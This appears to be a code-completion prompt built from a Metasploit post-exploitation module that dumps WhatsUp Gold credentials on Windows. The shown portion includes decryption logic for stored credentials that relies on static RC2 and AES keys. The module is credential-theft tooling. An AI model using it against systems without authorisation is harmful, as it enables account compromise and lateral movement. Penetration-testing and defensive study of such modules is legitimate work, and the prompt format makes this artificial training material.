You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: whatsupgold_credential_dump.rb
    path of file: ./repos/metasploit-framework/modules/post/windows/gather/credentials
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::MSSQL
  include Msf::Post::Windows::Powershell
  include Msf::Post::Windows::Registry

  Rank = ManualRanking
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WhatsUp
    
  def wug_decrypt(row)
    ciphertext_row = wug_parse_row(row)
    enc_type = ciphertext_row['enc_type']
    ciphertext_bytes = ciphertext_row['ciphertext']
    case enc_type
    when 1 # Static RC2-40-CBC
      plaintext = rc2_cbc_decrypt(ciphertext_bytes, @wug_rc2_key)
      return { 'Plaintext' => plaintext, 'Method' => 'Legacy' }
    when 2 # Static AES-256-CBC
      aes_key = @wug_aes256_key_legacy
      aes_iv = @wug_aes256_iv_legacy
      disposition = 'Aes256AndDefaultSalt'
    when 3 # Derived AES-256-CBC
      unless @wug_aes256_key_modern && @wug_aes256_iv_modern
        print_warning('Type 3 ciphertext encountered and no dynamic salt available, cannot decrypt')
        vprint_warning("Ciphertext: #{row}")
        return nil
      end